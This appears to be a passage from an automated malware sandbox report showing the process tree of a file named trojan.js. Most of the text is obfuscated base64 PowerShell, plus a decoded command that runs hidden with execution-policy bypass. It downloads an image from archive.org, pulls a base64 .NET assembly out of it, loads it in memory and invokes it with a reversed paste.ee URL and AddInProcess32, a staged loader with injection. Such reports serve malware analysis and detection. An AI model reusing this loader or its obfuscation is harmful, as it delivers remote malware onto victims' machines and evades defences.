⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                                                                                                    2⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:2540
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
                                                                                                                                      3⤵
                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:2364
                                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"
                                                                                                                                  1⤵
                                                                                                                                    PID:5632
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ 